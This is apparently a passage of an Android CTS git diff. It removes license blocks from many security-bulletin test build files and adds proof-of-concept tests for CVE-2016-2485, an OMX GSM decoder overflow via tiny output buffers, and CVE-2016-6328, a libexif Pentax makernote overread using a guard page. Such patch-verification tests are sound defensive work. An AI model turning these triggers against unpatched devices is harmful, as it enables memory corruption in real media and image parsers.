// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2412",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
index c1e34fe..c2436bc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2419/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2419",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
index d1c9c15..b31a788 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2460",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
index 103f4ac..53f06a5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2471/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2471",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
index e7fcb70..3f6188a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-2482",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-2485",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *)buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp<android::hidl::memory::V1_0::IMemory> mem =
+ mapMemory(inputBuffers[i].mHidlMemory);
+ memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
index 7860cd0..5d900d8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-3746",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
index 3e8b2db..2a9b893 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.bp
@@ -11,10 +11,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-3747",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
index e134eeb..2a488ae 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3818/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-3818",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
index 2a633da..d076d40 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-3913",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
index e1c8cd0..6e9d63a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-4658/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-4658",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
index daea235..abdb201 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5131/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-5131",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -34,3 +30,4 @@
"-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192",
],
}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
index a32e10f..2a49719 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-5862",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
index 34c69f3..b0f0e6c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5867/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-5867",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
new file mode 100644
index 0000000..1250ec6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-6328",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libexif",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
new file mode 100644
index 0000000..366dd0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "libexif/exif-data.h"
+#include "libexif/pentax/exif-mnote-data-pentax.h"
+
+#define NUM_PAGES 2
+#define VULNERABLE_ENTRY_INDEX 6
+#define VALUE_SIZE 1024
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ ExifData *exifData = exif_data_new_from_file(argv[1]);
+ if (!exifData) {
+ return EXIT_FAILURE;
+ }
+
+ ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
+ if (!mData) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
+ if (!mDataPentax) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
+ if (!entry) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ size_t page_size = getpagesize();
+ size_t num_pages = NUM_PAGES;
+ size_t total_size = page_size * num_pages;
+ unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
+ if (!start_ptr) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+ unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
+ mprotect(mem_ptr, page_size, PROT_NONE);
+
+ unsigned char *prev_ptr = entry->data;
+ entry->data = mem_ptr;
+ entry->size = 0;
+
+ char value[VALUE_SIZE];
+ exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
+
+ entry->data = prev_ptr;
+ free(start_ptr);
+ exif_data_unref(exifData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
index 69c6230..1cd33a2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6730/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6730",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
index 4cb05b5..a0dd0d3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6731",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
index 10102eb..1340882 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6732",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
index 123c22e..3f873b2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6733",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
index a664d5c..da5a873 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6734",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
index 4b648f4..17937c7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6735",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
index 0f5053b..d84178b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-6736",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
index bbbf743..eccb0d6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8425",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
index f6f688f..75bf901 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8426",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
index 4e78056..ae36966 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8427",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
index 1400642..631e54d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8428",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
index a1f6df2..8b38c55 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8429",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
index 303dcdb..1295d71 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8430",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
index 31b47fb..9e19727 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8431",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
index cfea314..9fbef08 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8432",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
index d3acc03..6959175 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8434",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
index c1c40d8..0991572 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2016-8460",
